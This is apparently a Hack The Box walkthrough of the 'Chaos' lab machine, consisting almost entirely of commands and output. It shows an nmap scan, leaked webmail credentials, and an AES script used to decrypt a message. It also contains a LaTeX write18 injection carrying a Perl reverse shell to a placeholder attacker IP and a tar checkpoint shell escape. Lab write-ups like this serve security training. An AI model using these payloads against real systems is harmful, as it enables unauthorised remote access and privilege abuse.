【HTB系列】靶机Chaos的渗透测试详解

root@kali:~/HTB# nmap -sV -T5 -sC 10.10.10.120

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-08 13:18 CST

Nmap scan report for 10.10.10.120

Host is up (0.21s latency).

Not shown: 994 closed ports

PORT      STATE SERVICE  VERSION

80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))

|_http-server-header: Apache/2.4.34 (Ubuntu)

|_http-title: Site doesn't have a title (text/html).

110/tcp   open  pop3     Dovecot pop3d

|_pop3-capabilities: STLS UIDL TOP SASL RESP-CODES CAPA AUTH-RESP-CODE PIPELINING

| ssl-cert: Subject: commonName=chaos

| Subject Alternative Name: DNS:chaos

| Not valid before: 2018-10-28T10:01:49

|_Not valid after:  2028-10-25T10:01:49

|_ssl-date: TLS randomness does not represent time

143/tcp   open  imap     Dovecot imapd (Ubuntu)

|_imap-capabilities: STARTTLS ENABLE LITERAL+ OK IMAP4rev1 SASL-IR LOGINDISABLEDA0001 have post-login listed ID IDLE LOGIN-REFERRALS capabilities more Pre-login

| ssl-cert: Subject: commonName=chaos

| Subject Alternative Name: DNS:chaos

| Not valid before: 2018-10-28T10:01:49

|_Not valid after:  2028-10-25T10:01:49

|_ssl-date: TLS randomness does not represent time

993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)

|_imap-capabilities: ENABLE LITERAL+ OK AUTH=PLAINA0001 SASL-IR capabilities have post-login listed ID IDLE LOGIN-REFERRALS IMAP4rev1 more Pre-login

| ssl-cert: Subject: commonName=chaos

| Subject Alternative Name: DNS:chaos

| Not valid before: 2018-10-28T10:01:49

|_Not valid after:  2028-10-25T10:01:49

|_ssl-date: TLS randomness does not represent time

995/tcp   open  ssl/pop3 Dovecot pop3d

|_pop3-capabilities: AUTH-RESP-CODE UIDL TOP SASL(PLAIN) RESP-CODES CAPA USER PIPELINING

| ssl-cert: Subject: commonName=chaos

| Subject Alternative Name: DNS:chaos

| Not valid before: 2018-10-28T10:01:49

|_Not valid after:  2028-10-25T10:01:49

|_ssl-date: TLS randomness does not represent time

10000/tcp open  http     MiniServ 1.890 (Webmin httpd)

|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 58.63 seconds

Creds for webmail :

username – ayush

password – jiujitsu

def encrypt(key, filename):

    chunksize = 64*1024

    outputFile = "en" + filename

    filesize = str(os.path.getsize(filename)).zfill(16)

    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:

        with open(outputFile, 'wb') as outfile:

            outfile.write(filesize.encode('utf-8'))

            outfile.write(IV)

            while True:

                chunk = infile.read(chunksize)

                if len(chunk) == 0:

                    break

                elif len(chunk) % 16 != 0:

                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):

            hasher = SHA256.new(password.encode('utf-8'))

            return hasher.digest()

from Crypto.Hash import SHA256

from Crypto.Cipher import AES

import Crypto.Cipher.AES

from binascii import hexlify, unhexlify

def encrypt(key, filename):

    chunksize = 64*1024

    outputFile = "en" + filename

    filesize = str(os.path.getsize(filename)).zfill(16)

    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:

        with open(outputFile, 'wb') as outfile:

            outfile.write(filesize.encode('utf-8'))

            outfile.write(IV)

            while True:

                chunk = infile.read(chunksize)

                if len(chunk) == 0:

                    break

                elif len(chunk) % 16 != 0:

                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):

            hasher = SHA256.new(password.encode('utf-8'))

            return hasher.digest()

if __name__=="__main__":

    chunksize = 64*1024

    mkey = getKey("sahay")

    mIV = (b"0000000000000234")

    decipher = AES.new(mkey,AES.MODE_CBC,mIV)

    with open("enim_msg.txt", 'rb') as infile:

        chunk = infile.read(chunksize)

        plaintext = decipher.decrypt(chunk)

        print plaintext

echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d

immediatewrite18{perl -e 'use Socket;$i="你的IP地址";$p=端口;

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));

if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");

open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}

tar cf /dev/null rick.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin